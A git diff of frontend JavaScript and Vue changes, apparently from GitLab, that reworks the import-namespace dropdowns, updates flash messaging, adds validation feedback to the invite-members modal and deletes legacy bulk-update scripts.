diff --git a/app/assets/javascripts/ide/stores/modules/clientside/actions.js b/app/assets/javascripts/ide/stores/modules/clientside/actions.js
index 2bebf8b90ce..e36419cd7eb 100644
--- a/app/assets/javascripts/ide/stores/modules/clientside/actions.js
+++ b/app/assets/javascripts/ide/stores/modules/clientside/actions.js
@@ -3,7 +3,7 @@ import axios from '~/lib/utils/axios_utils';
export const pingUsage = ({ rootGetters }) => {
const { web_url: projectUrl } = rootGetters.currentProject;
- const url = `${projectUrl}/usage_ping/web_ide_clientside_preview`;
+ const url = `${projectUrl}/service_ping/web_ide_clientside_preview`;
return axios.post(url);
};
diff --git a/app/assets/javascripts/ide/stores/modules/commit/actions.js b/app/assets/javascripts/ide/stores/modules/commit/actions.js
index 29555799074..2ff71523b1b 100644
--- a/app/assets/javascripts/ide/stores/modules/commit/actions.js
+++ b/app/assets/javascripts/ide/stores/modules/commit/actions.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import { addNumericSuffix } from '~/ide/utils';
import { sprintf, __ } from '~/locale';
import { leftSidebarViews } from '../../../constants';
@@ -143,7 +143,11 @@ export const commitChanges = ({ commit, state, getters, dispatch, rootState, roo
commit(types.UPDATE_LOADING, false);
if (!data.short_id) {
- flash(data.message, 'alert', document, null, false, true);
+ createFlash({
+ message: data.message,
+ fadeTransition: false,
+ addBodyClass: true,
+ });
return null;
}
diff --git a/app/assets/javascripts/ide/stores/utils.js b/app/assets/javascripts/ide/stores/utils.js
index 4019703b296..0cef3b98e61 100644
--- a/app/assets/javascripts/ide/stores/utils.js
+++ b/app/assets/javascripts/ide/stores/utils.js
@@ -252,10 +252,10 @@ export function extractMarkdownImagesFromEntries(mdFile, entries) {
.trim();
const imageContent = entries[imagePath]?.content || entries[imagePath]?.raw;
+ const imageRawPath = entries[imagePath]?.rawPath;
if (!isAbsolute(path) && imageContent) {
- const ext = path.includes('.') ? path.split('.').pop().trim() : 'jpeg';
- const src = `data:image/${ext};base64,${imageContent}`;
+ const src = imageRawPath;
i += 1;
const key = `{{${prefix}${i}}}`;
images[key] = { alt, src, title };
diff --git a/app/assets/javascripts/import_entities/components/group_dropdown.vue b/app/assets/javascripts/import_entities/components/group_dropdown.vue
new file mode 100644
index 00000000000..44d6d17232f
--- /dev/null
+++ b/app/assets/javascripts/import_entities/components/group_dropdown.vue
@@ -0,0 +1,40 @@
+<script>
+import { GlDropdown, GlSearchBoxByType } from '@gitlab/ui';
+
+export default {
+ components: {
+ GlDropdown,
+ GlSearchBoxByType,
+ },
+ inheritAttrs: false,
+ props: {
+ namespaces: {
+ type: Array,
+ required: true,
+ },
+ },
+ data() {
+ return { searchTerm: '' };
+ },
+ computed: {
+ filteredNamespaces() {
+ return this.namespaces.filter((ns) =>
+ ns.toLowerCase().includes(this.searchTerm.toLowerCase()),
+ );
+ },
+ },
+};
+</script>
+<template>
+ <gl-dropdown
+ toggle-class="gl-rounded-top-right-none! gl-rounded-bottom-right-none!"
+ class="import-entities-namespace-dropdown gl-h-7 gl-flex-fill-1"
+ data-qa-selector="target_namespace_selector_dropdown"
+ v-bind="$attrs"
+ >
+ <template #header>
+ <gl-search-box-by-type v-model.trim="searchTerm" />
+ </template>
+ <slot :namespaces="filteredNamespaces"></slot>
+ </gl-dropdown>
+</template>
diff --git a/app/assets/javascripts/import_entities/import_groups/components/import_table.vue b/app/assets/javascripts/import_entities/import_groups/components/import_table.vue
index 3daa5eebcb6..cb7e3ef9632 100644
--- a/app/assets/javascripts/import_entities/import_groups/components/import_table.vue
+++ b/app/assets/javascripts/import_entities/import_groups/components/import_table.vue
@@ -227,7 +227,12 @@ export default {
</template>
</gl-sprintf>
</span>
- <gl-search-box-by-click class="gl-ml-auto" @submit="filter = $event" @clear="filter = ''" />
+ <gl-search-box-by-click
+ class="gl-ml-auto"
+ :placeholder="s__('BulkImport|Filter by source group')"
+ @submit="filter = $event"
+ @clear="filter = ''"
+ />
</div>
<gl-loading-icon v-if="$apollo.loading" size="md" class="gl-mt-5" />
<template v-else>
diff --git a/app/assets/javascripts/import_entities/import_groups/components/import_table_row.vue b/app/assets/javascripts/import_entities/import_groups/components/import_table_row.vue
index 63c18f4d78e..1c3ede769e0 100644
--- a/app/assets/javascripts/import_entities/import_groups/components/import_table_row.vue
+++ b/app/assets/javascripts/import_entities/import_groups/components/import_table_row.vue
@@ -1,7 +1,6 @@
<script>
import {
GlButton,
- GlDropdown,
GlDropdownDivider,
GlDropdownItem,
GlDropdownSectionHeader,
@@ -11,6 +10,7 @@ import {
} from '@gitlab/ui';
import { joinPaths } from '~/lib/utils/url_utility';
import { s__ } from '~/locale';
+import ImportGroupDropdown from '../../components/group_dropdown.vue';
import ImportStatus from '../../components/import_status.vue';
import { STATUSES } from '../../constants';
import addValidationErrorMutation from '../graphql/mutations/add_validation_error.mutation.graphql';
@@ -22,8 +22,8 @@ const DEBOUNCE_INTERVAL = 300;
export default {
components: {
ImportStatus,
+ ImportGroupDropdown,
GlButton,
- GlDropdown,
GlDropdownDivider,
GlDropdownItem,
GlDropdownSectionHeader,
@@ -83,6 +83,10 @@ export default {
},
computed: {
+ availableNamespaceNames() {
+ return this.availableNamespaces.map((ns) => ns.full_path);
+ },
+
importTarget() {
return this.group.import_target;
},
@@ -153,9 +157,11 @@ export default {
disabled: isAlreadyImported,
}"
>
- <gl-dropdown
+ <import-group-dropdown
+ #default="{ namespaces }"
:text="importTarget.target_namespace"
:disabled="isAlreadyImported"
+ :namespaces="availableNamespaceNames"
toggle-class="gl-rounded-top-right-none! gl-rounded-bottom-right-none!"
class="import-entities-namespace-dropdown gl-h-7 gl-flex-grow-1"
data-qa-selector="target_namespace_selector_dropdown"
@@ -163,22 +169,22 @@ export default {
<gl-dropdown-item @click="$emit('update-target-namespace', '')">{{
s__('BulkImport|No parent')
}}</gl-dropdown-item>
- <template v-if="availableNamespaces.length">
+ <template v-if="namespaces.length">
<gl-dropdown-divider />
<gl-dropdown-section-header>
{{ s__('BulkImport|Existing groups') }}
</gl-dropdown-section-header>
<gl-dropdown-item
- v-for="ns in availableNamespaces"
- :key="ns.full_path"
+ v-for="ns in namespaces"
+ :key="ns"
data-qa-selector="target_group_dropdown_item"
- :data-qa-group-name="ns.full_path"
- @click="$emit('update-target-namespace', ns.full_path)"
+ :data-qa-group-name="ns"
+ @click="$emit('update-target-namespace', ns)"
>
- {{ ns.full_path }}
+ {{ ns }}
</gl-dropdown-item>
</template>
- </gl-dropdown>
+ </import-group-dropdown>
<div
class="import-entities-target-select-separator gl-h-7 gl-px-3 gl-display-flex gl-align-items-center gl-border-solid gl-border-0 gl-border-t-1 gl-border-b-1"
>
diff --git a/app/assets/javascripts/import_entities/import_projects/components/import_projects_table.vue b/app/assets/javascripts/import_entities/import_projects/components/import_projects_table.vue
index be09052fb7e..14d08caef34 100644
--- a/app/assets/javascripts/import_entities/import_projects/components/import_projects_table.vue
+++ b/app/assets/javascripts/import_entities/import_projects/components/import_projects_table.vue
@@ -47,18 +47,7 @@ export default {
},
availableNamespaces() {
- const serializedNamespaces = this.namespaces.map(({ fullPath }) => ({
- id: fullPath,
- text: fullPath,
- }));
-
- return [
- { text: __('Groups'), children: serializedNamespaces },
- {
- text: __('Users'),
- children: [{ id: this.defaultTargetNamespace, text: this.defaultTargetNamespace }],
- },
- ];
+ return this.namespaces.map(({ fullPath }) => fullPath);
},
importAllButtonText() {
@@ -179,6 +168,7 @@ export default {
:key="repo.importSource.providerLink"
:repo="repo"
:available-namespaces="availableNamespaces"
+ :user-namespace="defaultTargetNamespace"
/>
</template>
</tbody>
diff --git a/app/assets/javascripts/import_entities/import_projects/components/provider_repo_table_row.vue b/app/assets/javascripts/import_entities/import_projects/components/provider_repo_table_row.vue
index a803afeb901..e2fd608d9db 100644
--- a/app/assets/javascripts/import_entities/import_projects/components/provider_repo_table_row.vue
+++ b/app/assets/javascripts/import_entities/import_projects/components/provider_repo_table_row.vue
@@ -1,8 +1,17 @@
<script>
-import { GlIcon, GlBadge, GlFormInput, GlButton, GlLink } from '@gitlab/ui';
+import {
+ GlIcon,
+ GlBadge,
+ GlFormInput,
+ GlButton,
+ GlLink,
+ GlDropdownItem,
+ GlDropdownDivider,
+ GlDropdownSectionHeader,
+} from '@gitlab/ui';
import { mapState, mapGetters, mapActions } from 'vuex';
import { __ } from '~/locale';
-import Select2Select from '~/vue_shared/components/select2_select.vue';
+import ImportGroupDropdown from '../../components/group_dropdown.vue';
import ImportStatus from '../../components/import_status.vue';
import { STATUSES } from '../../constants';
import { isProjectImportable, isIncompatible, getImportStatus } from '../utils';
@@ -10,10 +19,13 @@ import { isProjectImportable, isIncompatible, getImportStatus } from '../utils';
export default {
name: 'ProviderRepoTableRow',
components: {
- Select2Select,
+ ImportGroupDropdown,
ImportStatus,
GlFormInput,
GlButton,
+ GlDropdownItem,
+ GlDropdownDivider,
+ GlDropdownSectionHeader,
GlIcon,
GlBadge,
GlLink,
@@ -23,6 +35,10 @@ export default {
type: Object,
required: true,
},
+ userNamespace: {
+ type: String,
+ required: true,
+ },
availableNamespaces: {
type: Array,
required: true,
@@ -61,22 +77,6 @@ export default {
return this.ciCdOnly ? __('Connect') : __('Import');
},
- select2Options() {
- return {
- data: this.availableNamespaces,
- containerCssClass: 'import-namespace-select qa-project-namespace-select gl-w-auto',
- };
- },
-
- targetNamespaceSelect: {
- get() {
- return this.importTarget.targetNamespace;
- },
- set(value) {
- this.updateImportTarget({ targetNamespace: value });
- },
- },
-
newNameInput: {
get() {
return this.importTarget.newName;
@@ -118,7 +118,29 @@ export default {
<template v-if="repo.importSource.target">{{ repo.importSource.target }}</template>
<template v-else-if="isImportNotStarted">
<div class="import-entities-target-select gl-display-flex gl-align-items-stretch gl-w-full">
- <select2-select v-model="targetNamespaceSelect" :options="select2Options" />
+ <import-group-dropdown
+ #default="{ namespaces }"
+ :text="importTarget.targetNamespace"
+ :namespaces="availableNamespaces"
+ >
+ <template v-if="namespaces.length">
+ <gl-dropdown-section-header>{{ __('Groups') }}</gl-dropdown-section-header>
+ <gl-dropdown-item
+ v-for="ns in namespaces"
+ :key="ns"
+ data-qa-selector="target_group_dropdown_item"
+ :data-qa-group-name="ns"
+ @click="updateImportTarget({ targetNamespace: ns })"
+ >
+ {{ ns }}
+ </gl-dropdown-item>
+ <gl-dropdown-divider />
+ </template>
+ <gl-dropdown-section-header>{{ __('Users') }}</gl-dropdown-section-header>
+ <gl-dropdown-item @click="updateImportTarget({ targetNamespace: ns })">{{
+ userNamespace
+ }}</gl-dropdown-item>
+ </import-group-dropdown>
<div
class="import-entities-target-select-separator gl-px-3 gl-display-flex gl-align-items-center gl-border-solid gl-border-0 gl-border-t-1 gl-border-b-1"
>
diff --git a/app/assets/javascripts/import_entities/import_projects/index.js b/app/assets/javascripts/import_entities/import_projects/index.js
index 6b7fe23ed60..110cc77b20d 100644
--- a/app/assets/javascripts/import_entities/import_projects/index.js
+++ b/app/assets/javascripts/import_entities/import_projects/index.js
@@ -38,7 +38,7 @@ export function initStoreFromElement(element) {
export function initPropsFromElement(element) {
return {
- providerTitle: element.dataset.providerTitle,
+ providerTitle: element.dataset.provider,
filterable: parseBoolean(element.dataset.filterable),
paginatable: parseBoolean(element.dataset.paginatable),
};
diff --git a/app/assets/javascripts/incidents_settings/incidents_settings_service.js b/app/assets/javascripts/incidents_settings/incidents_settings_service.js
index 83fd29a058e..93baa54956a 100644
--- a/app/assets/javascripts/incidents_settings/incidents_settings_service.js
+++ b/app/assets/javascripts/incidents_settings/incidents_settings_service.js
@@ -24,7 +24,6 @@ export default class IncidentsSettingsService {
createFlash({
message: `${ERROR_MSG} ${message}`,
- type: 'alert',
});
});
}
diff --git a/app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue b/app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue
index ec93980251b..1242493fb57 100644
--- a/app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue
+++ b/app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue
@@ -75,15 +75,6 @@ export default {
validProjectKey() {
return !this.enableJiraIssues || Boolean(this.projectKey) || !this.validated;
},
- showJiraVulnerabilitiesOptions() {
- return this.showJiraVulnerabilitiesIntegration;
- },
- showUltimateUpgrade() {
- return this.showJiraIssuesIntegration && !this.showJiraVulnerabilitiesIntegration;
- },
- showPremiumUpgrade() {
- return !this.showJiraIssuesIntegration;
- },
},
created() {
eventHub.$on('validateForm', this.validateForm);
@@ -128,23 +119,30 @@ export default {
}}
</template>
</gl-form-checkbox>
- <jira-issue-creation-vulnerabilities
- v-if="enableJiraIssues"
- :project-key="projectKey"
- :initial-is-enabled="initialEnableJiraVulnerabilities"
- :initial-issue-type-id="initialVulnerabilitiesIssuetype"
- :show-full-feature="showJiraVulnerabilitiesOptions"
- data-testid="jira-for-vulnerabilities"
- @request-get-issue-types="getJiraIssueTypes"
- />
+ <template v-if="enableJiraIssues">
+ <jira-issue-creation-vulnerabilities
+ :project-key="projectKey"
+ :initial-is-enabled="initialEnableJiraVulnerabilities"
+ :initial-issue-type-id="initialVulnerabilitiesIssuetype"
+ :show-full-feature="showJiraVulnerabilitiesIntegration"
+ data-testid="jira-for-vulnerabilities"
+ @request-get-issue-types="getJiraIssueTypes"
+ />
+ <jira-upgrade-cta
+ v-if="!showJiraVulnerabilitiesIntegration"
+ class="gl-mt-2 gl-ml-6"
+ data-testid="ultimate-upgrade-cta"
+ show-ultimate-message
+ :upgrade-plan-path="upgradePlanPath"
+ />
+ </template>
</template>
<jira-upgrade-cta
- v-if="showUltimateUpgrade || showPremiumUpgrade"
+ v-else
class="gl-mt-2"
- :class="{ 'gl-ml-6': showUltimateUpgrade }"
+ data-testid="premium-upgrade-cta"
+ show-premium-message
:upgrade-plan-path="upgradePlanPath"
- :show-ultimate-message="showUltimateUpgrade"
- :show-premium-message="showPremiumUpgrade"
/>
</div>
</gl-form-group>
diff --git a/app/assets/javascripts/invite_members/components/invite_members_modal.vue b/app/assets/javascripts/invite_members/components/invite_members_modal.vue
index 84c8594c6b6..4aab1123af9 100644
--- a/app/assets/javascripts/invite_members/components/invite_members_modal.vue
+++ b/app/assets/javascripts/invite_members/components/invite_members_modal.vue
@@ -1,5 +1,6 @@
<script>
import {
+ GlFormGroup,
GlModal,
GlDropdown,
GlDropdownItem,
@@ -12,16 +13,21 @@ import {
import { partition, isString } from 'lodash';
import Api from '~/api';
import ExperimentTracking from '~/experimentation/experiment_tracking';
-import GroupSelect from '~/invite_members/components/group_select.vue';
-import MembersTokenSelect from '~/invite_members/components/members_token_select.vue';
import { BV_SHOW_MODAL, BV_HIDE_MODAL } from '~/lib/utils/constants';
import { s__, sprintf } from '~/locale';
import { INVITE_MEMBERS_IN_COMMENT, GROUP_FILTERS } from '../constants';
import eventHub from '../event_hub';
+import {
+ responseMessageFromError,
+ responseMessageFromSuccess,
+} from '../utils/response_message_parser';
+import GroupSelect from './group_select.vue';
+import MembersTokenSelect from './members_token_select.vue';
export default {
name: 'InviteMembersModal',
components: {
+ GlFormGroup,
GlDatepicker,
GlLink,
GlModal,
@@ -79,9 +85,13 @@ export default {
selectedDate: undefined,
groupToBeSharedWith: {},
source: 'unknown',
+ invalidFeedbackMessage: '',
};
},
computed: {
+ validationState() {
+ return this.invalidFeedbackMessage === '' ? null : false;
+ },
isInviteGroup() {
return this.inviteeType === 'group';
},
@@ -142,6 +152,7 @@ export default {
this.$root.$emit(BV_SHOW_MODAL, this.modalId);
},
closeModal() {
+ this.resetFields();
this.$root.$emit(BV_HIDE_MODAL, this.modalId);
},
sendInvite() {
@@ -150,7 +161,6 @@ export default {
} else {
this.submitInviteMembers();
}
- this.closeModal();
},
trackInvite() {
if (this.source === INVITE_MEMBERS_IN_COMMENT) {
@@ -158,12 +168,12 @@ export default {
tracking.event('comment_invite_success');
}
},
- cancelInvite() {
+ resetFields() {
this.selectedAccessLevel = this.defaultAccessLevel;
this.selectedDate = undefined;
this.newUsersToInvite = [];
this.groupToBeSharedWith = {};
- this.closeModal();
+ this.invalidFeedbackMessage = '';
},
changeSelectedItem(item) {
this.selectedAccessLevel = item;
@@ -175,9 +185,11 @@ export default {
apiShareWithGroup(this.id, this.shareWithGroupPostData(this.groupToBeSharedWith.id))
.then(this.showToastMessageSuccess)
- .catch(this.showToastMessageError);
+ .catch(this.showInvalidFeedbackMessage);
},
submitInviteMembers() {
+ this.invalidFeedbackMessage = '';
+
const [usersToInviteByEmail, usersToAddById] = this.partitionNewUsersToInvite();
const promises = [];
@@ -196,10 +208,11 @@ export default {
promises.push(apiAddByUserId(this.id, this.addByUserIdPostData(usersToAddById)));
}
-
this.trackInvite();
- Promise.all(promises).then(this.showToastMessageSuccess).catch(this.showToastMessageError);
+ Promise.all(promises)
+ .then(this.conditionallyShowToastSuccess)
+ .catch(this.showInvalidFeedbackMessage);
},
inviteByEmailPostData(usersToInviteByEmail) {
return {
@@ -224,13 +237,27 @@ export default {
group_access: this.selectedAccessLevel,
};
},
+ conditionallyShowToastSuccess(response) {
+ const message = responseMessageFromSuccess(response);
+
+ if (message === '') {
+ this.showToastMessageSuccess();
+
+ return;
+ }
+
+ this.invalidFeedbackMessage = message;
+ },
showToastMessageSuccess() {
this.$toast.show(this.$options.labels.toastMessageSuccessful, this.toastOptions);
+ this.closeModal();
},
- showToastMessageError(error) {
- const message = error.response.data.message || this.$options.labels.toastMessageUnsuccessful;
-
- this.$toast.show(message, this.toastOptions);
+ showInvalidFeedbackMessage(response) {
+ this.invalidFeedbackMessage =
+ responseMessageFromError(response) || this.$options.labels.invalidFeedbackMessageDefault;
+ },
+ handleMembersTokenSelectClear() {
+ this.invalidFeedbackMessage = '';
},
},
labels: {
@@ -267,8 +294,8 @@ export default {
accessLevel: s__('InviteMembersModal|Select a role'),
accessExpireDate: s__('InviteMembersModal|Access expiration date (optional)'),
toastMessageSuccessful: s__('InviteMembersModal|Members were successfully added'),
- toastMessageUnsuccessful: s__('InviteMembersModal|Some of the members could not be added'),
- readMoreText: s__(`InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles.`),
+ invalidFeedbackMessageDefault: s__('InviteMembersModal|Something went wrong'),
+ readMoreText: s__(`InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions`),
inviteButtonText: s__('InviteMembersModal|Invite'),
cancelButtonText: s__('InviteMembersModal|Cancel'),
headerCloseLabel: s__('InviteMembersModal|Close invite team members'),
@@ -283,6 +310,7 @@ export default {
data-qa-selector="invite_members_modal_content"
:title="$options.labels[inviteeType].modalTitle"
:header-close-label="$options.labels.headerCloseLabel"
+ @close="resetFields"
>
<div>
<p ref="introText">
@@ -293,15 +321,22 @@ export default {
</gl-sprintf>
</p>
- <label :id="$options.membersTokenSelectLabelId" class="gl-font-weight-bold gl-mt-5">{{
- $options.labels[inviteeType].searchField
- }}</label>
- <div class="gl-mt-2">
+ <gl-form-group
+ class="gl-mt-2"
+ :invalid-feedback="invalidFeedbackMessage"
+ :state="validationState"
+ :description="$options.labels[inviteeType].placeHolder"
+ data-testid="members-form-group"
+ >
+ <label :id="$options.membersTokenSelectLabelId" class="col-form-label">{{
+ $options.labels[inviteeType].searchField
+ }}</label>
<members-token-select
v-if="!isInviteGroup"
v-model="newUsersToInvite"
+ :validation-state="validationState"
:aria-labelledby="$options.membersTokenSelectLabelId"
- :placeholder="$options.labels[inviteeType].placeHolder"
+ @clear="handleMembersTokenSelectClear"
/>
<group-select
v-if="isInviteGroup"
@@ -309,7 +344,7 @@ export default {
:groups-filter="groupSelectFilter"
:parent-group-id="groupSelectParentId"
/>
- </div>
+ </gl-form-group>
<label class="gl-font-weight-bold gl-mt-3">{{ $options.labels.accessLevel }}</label>
<div class="gl-mt-2 gl-w-half gl-xs-w-full">
@@ -364,15 +399,15 @@ export default {
<template #modal-footer>
<div class="gl-display-flex gl-flex-direction-row gl-justify-content-end gl-flex-wrap gl-m-0">
- <gl-button ref="cancelButton" @click="cancelInvite">
+ <gl-button data-testid="cancel-button" @click="closeModal">
{{ $options.labels.cancelButtonText }}
</gl-button>
<div class="gl-mr-3"></div>
<gl-button
- ref="inviteButton"
:disabled="inviteDisabled"
variant="success"
data-qa-selector="invite_button"
+ data-testid="invite-button"
@click="sendInvite"
>{{ $options.labels.inviteButtonText }}</gl-button
>
diff --git a/app/assets/javascripts/invite_members/components/members_token_select.vue b/app/assets/javascripts/invite_members/components/members_token_select.vue
index db6a7888786..7aece3b7bb4 100644
--- a/app/assets/javascripts/invite_members/components/members_token_select.vue
+++ b/app/assets/javascripts/invite_members/components/members_token_select.vue
@@ -1,5 +1,5 @@
<script>
-import { GlTokenSelector, GlAvatar, GlAvatarLabeled, GlSprintf } from '@gitlab/ui';
+import { GlTokenSelector, GlAvatar, GlAvatarLabeled, GlIcon, GlSprintf } from '@gitlab/ui';
import { debounce } from 'lodash';
import { __ } from '~/locale';
import { getUsers } from '~/rest_api';
@@ -10,6 +10,7 @@ export default {
GlTokenSelector,
GlAvatar,
GlAvatarLabeled,
+ GlIcon,
GlSprintf,
},
props: {
@@ -22,6 +23,11 @@ export default {
type: String,
required: true,
},
+ validationState: {
+ type: Boolean,
+ required: false,
+ default: null,
+ },
},
data() {
return {
@@ -84,6 +90,13 @@ export default {
this.hasBeenFocused = true;
},
+ handleTokenRemove() {
+ if (this.selectedTokens.length) {
+ return;
+ }
+
+ this.$emit('clear');
+ },
},
queryOptions: { exclude_internal: true, active: true },
i18n: {
@@ -95,19 +108,26 @@ export default {
<template>
<gl-token-selector
v-model="selectedTokens"
+ :state="validationState"
:dropdown-items="users"
:loading="loading"
:allow-user-defined-tokens="emailIsValid"
:hide-dropdown-with-no-items="hideDropdownWithNoItems"
:placeholder="placeholderText"
:aria-labelledby="ariaLabelledby"
+ :text-input-attrs="{
+ 'data-testid': 'members-token-select-input',
+ 'data-qa-selector': 'members_token_select_input',
+ }"
@blur="handleBlur"
@text-input="handleTextInput"
@input="handleInput"
@focus="handleFocus"
+ @token-remove="handleTokenRemove"
>
<template #token-content="{ token }">
- <gl-avatar v-if="token.avatar_url" :src="token.avatar_url" :size="16" />
+ <gl-icon v-if="validationState === false" name="error" :size="16" class="gl-mr-2" />
+ <gl-avatar v-else-if="token.avatar_url" :src="token.avatar_url" :size="16" />
{{ token.name }}
</template>
diff --git a/app/assets/javascripts/invite_members/constants.js b/app/assets/javascripts/invite_members/constants.js
index 0c5538d5b86..83e6cac0ac0 100644
--- a/app/assets/javascripts/invite_members/constants.js
+++ b/app/assets/javascripts/invite_members/constants.js
@@ -1,3 +1,5 @@
+import { __ } from '~/locale';
+
export const SEARCH_DELAY = 200;
export const INVITE_MEMBERS_IN_COMMENT = 'invite_members_in_comment';
@@ -6,3 +8,7 @@ export const GROUP_FILTERS = {
ALL: 'all',
DESCENDANT_GROUPS: 'descendant_groups',
};
+
+export const API_MESSAGES = {
+ EMAIL_ALREADY_INVITED: __('Invite email has already been taken'),
+};
diff --git a/app/assets/javascripts/invite_members/utils/response_message_parser.js b/app/assets/javascripts/invite_members/utils/response_message_parser.js
new file mode 100644
index 00000000000..b7bc9ea5652
--- /dev/null
+++ b/app/assets/javascripts/invite_members/utils/response_message_parser.js
@@ -0,0 +1,65 @@
+import { isString } from 'lodash';
+import { API_MESSAGES } from '~/invite_members/constants';
+
+function responseKeyedMessageParsed(keyedMessage) {
+ try {
+ const keys = Object.keys(keyedMessage);
+ const msg = keyedMessage[keys[0]];
+
+ if (msg === API_MESSAGES.EMAIL_ALREADY_INVITED) {
+ return '';
+ }
+ return msg;
+ } catch {
+ return '';
+ }
+}
+function responseMessageStringForMultiple(message) {
+ return message.includes(':');
+}
+function responseMessageStringFirstPart(message) {
+ return message.split(' and ')[0];
+}
+
+export function responseMessageFromError(response) {
+ if (!response?.response?.data) {
+ return '';
+ }
+
+ const {
+ response: { data },
+ } = response;
+
+ return (
+ data.error ||
+ data.message?.user?.[0] ||
+ data.message?.access_level?.[0] ||
+ data.message?.error ||
+ data.message ||
+ ''
+ );
+}
+
+export function responseMessageFromSuccess(response) {
+ if (!response?.[0]?.data) {
+ return '';
+ }
+
+ const { data } = response[0];
+
+ if (data.message && !data.message.user) {
+ const { message } = data;
+
+ if (isString(message)) {
+ if (responseMessageStringForMultiple(message)) {
+ return responseMessageStringFirstPart(message);
+ }
+
+ return message;
+ }
+
+ return responseKeyedMessageParsed(message);
+ }
+
+ return data.message || data.message?.user || data.error || '';
+}
diff --git a/app/assets/javascripts/issuable/components/issuable_by_email.vue b/app/assets/javascripts/issuable/components/issuable_by_email.vue
index c659dfef495..6e300831e00 100644
--- a/app/assets/javascripts/issuable/components/issuable_by_email.vue
+++ b/app/assets/javascripts/issuable/components/issuable_by_email.vue
@@ -36,7 +36,7 @@ export default {
default: null,
},
issuableType: {
- default: '',
+ default: 'issue',
},
emailsHelpPagePath: {
default: '',
@@ -78,7 +78,7 @@ export default {
} = await axios.put(this.resetPath);
this.email = newAddress;
} catch {
- this.$toast.show(__('There was an error when reseting email token.'), { type: 'error' });
+ this.$toast.show(__('There was an error when reseting email token.'));
}
},
cancelHandler() {
diff --git a/app/assets/javascripts/issuable_bulk_update_actions.js b/app/assets/javascripts/issuable_bulk_update_actions.js
deleted file mode 100644
index 366a9a8a883..00000000000
--- a/app/assets/javascripts/issuable_bulk_update_actions.js
+++ /dev/null
@@ -1,124 +0,0 @@
-import $ from 'jquery';
-import { difference, intersection, union } from 'lodash';
-import { deprecatedCreateFlash as Flash } from './flash';
-import axios from './lib/utils/axios_utils';
-import { __ } from './locale';
-
-export default {
- init({ form, issues, prefixId } = {}) {
- this.prefixId = prefixId || 'issue_';
- this.form = form || this.getElement('.bulk-update');
- this.$labelDropdown = this.form.find('.js-label-select');
- this.issues = issues || this.getElement('.issues-list .issue');
- this.willUpdateLabels = false;
- this.bindEvents();
- },
-
- bindEvents() {
- // eslint-disable-next-line @gitlab/no-global-event-off
- return this.form.off('submit').on('submit', this.onFormSubmit.bind(this));
- },
-
- onFormSubmit(e) {
- e.preventDefault();
- return this.submit();
- },
-
- submit() {
- axios[this.form.attr('method')](this.form.attr('action'), this.getFormDataAsObject())
- .then(() => window.location.reload())
- .catch(() => this.onFormSubmitFailure());
- },
-
- onFormSubmitFailure() {
- this.form.find('[type="submit"]').enable();
- return new Flash(__('Issue update failed'));
- },
-
- /**
- * Simple form serialization, it will return just what we need
- * Returns key/value pairs from form data
- */
-
- getFormDataAsObject() {
- const formData = {
- update: {
- state_event: this.form.find('input[name="update[state_event]"]').val(),
- assignee_ids: [this.form.find('input[name="update[assignee_ids][]"]').val()],
- milestone_id: this.form.find('input[name="update[milestone_id]"]').val(),
- issuable_ids: this.form.find('input[name="update[issuable_ids]"]').val(),
- subscription_event: this.form.find('input[name="update[subscription_event]"]').val(),
- health_status: this.form.find('input[name="update[health_status]"]').val(),
- epic_id: this.form.find('input[name="update[epic_id]"]').val(),
- sprint_id: this.form.find('input[name="update[iteration_id]"]').val(),
- add_label_ids: [],
- remove_label_ids: [],
- },
- };
- if (this.willUpdateLabels) {
- formData.update.add_label_ids = this.$labelDropdown.data('user-checked');
- formData.update.remove_label_ids = this.$labelDropdown.data('user-unchecked');
- }
- return formData;
- },
-
- setOriginalDropdownData() {
- const $labelSelect = $('.bulk-update .js-label-select');
- const userCheckedIds = $labelSelect.data('user-checked') || [];
- const userUncheckedIds = $labelSelect.data('user-unchecked') || [];
-
- // Common labels plus user checked labels minus user unchecked labels
- const checkedIdsToShow = difference(
- union(this.getOriginalCommonIds(), userCheckedIds),
- userUncheckedIds,
- );
-
- // Indeterminate labels minus user checked labels minus user unchecked labels
- const indeterminateIdsToShow = difference(
- this.getOriginalIndeterminateIds(),
- userCheckedIds,
- userUncheckedIds,
- );
-
- $labelSelect.data('marked', checkedIdsToShow);
- $labelSelect.data('indeterminate', indeterminateIdsToShow);
- },
-
- // From issuable's initial bulk selection
- getOriginalCommonIds() {
- const labelIds = [];
- this.getElement('.issuable-list input[type="checkbox"]:checked').each((i, el) => {
- labelIds.push(this.getElement(`#${this.prefixId}${el.dataset.id}`).data('labels'));
- });
- return intersection.apply(this, labelIds);
- },
-
- // From issuable's initial bulk selection
- getOriginalIndeterminateIds() {
- const uniqueIds = [];
- const labelIds = [];
- let issuableLabels = [];
-
- // Collect unique label IDs for all checked issues
- this.getElement('.issuable-list input[type="checkbox"]:checked').each((i, el) => {
- issuableLabels = this.getElement(`#${this.prefixId}${el.dataset.id}`).data('labels');
- issuableLabels.forEach((labelId) => {
- // Store unique IDs
- if (uniqueIds.indexOf(labelId) === -1) {
- uniqueIds.push(labelId);
- }
- });
- // Store array of IDs per issuable
- labelIds.push(issuableLabels);
- });
- // Add uniqueIds to add it as argument for _.intersection
- labelIds.unshift(uniqueIds);
- // Return IDs that are present but not in all selected issueables
- return uniqueIds.filter((x) => !intersection.apply(this, labelIds).includes(x));
- },
-
- getElement(selector) {
- this.scopeEl = this.scopeEl || $('.content');
- return this.scopeEl.find(selector);
- },
-};
diff --git a/app/assets/javascripts/issuable_bulk_update_sidebar.js b/app/assets/javascripts/issuable_bulk_update_sidebar.js
deleted file mode 100644
index 97d50dde9f7..00000000000
--- a/app/assets/javascripts/issuable_bulk_update_sidebar.js
+++ /dev/null
@@ -1,172 +0,0 @@
-/* eslint-disable class-methods-use-this, no-new */
-
-import $ from 'jquery';
-import { property } from 'lodash';
-import IssuableBulkUpdateActions from './issuable_bulk_update_actions';
-import issueStatusSelect from './issue_status_select';
-import issueableEventHub from './issues_list/eventhub';
-import LabelsSelect from './labels_select';
-import MilestoneSelect from './milestone_select';
-import subscriptionSelect from './subscription_select';
-
-const HIDDEN_CLASS = 'hidden';
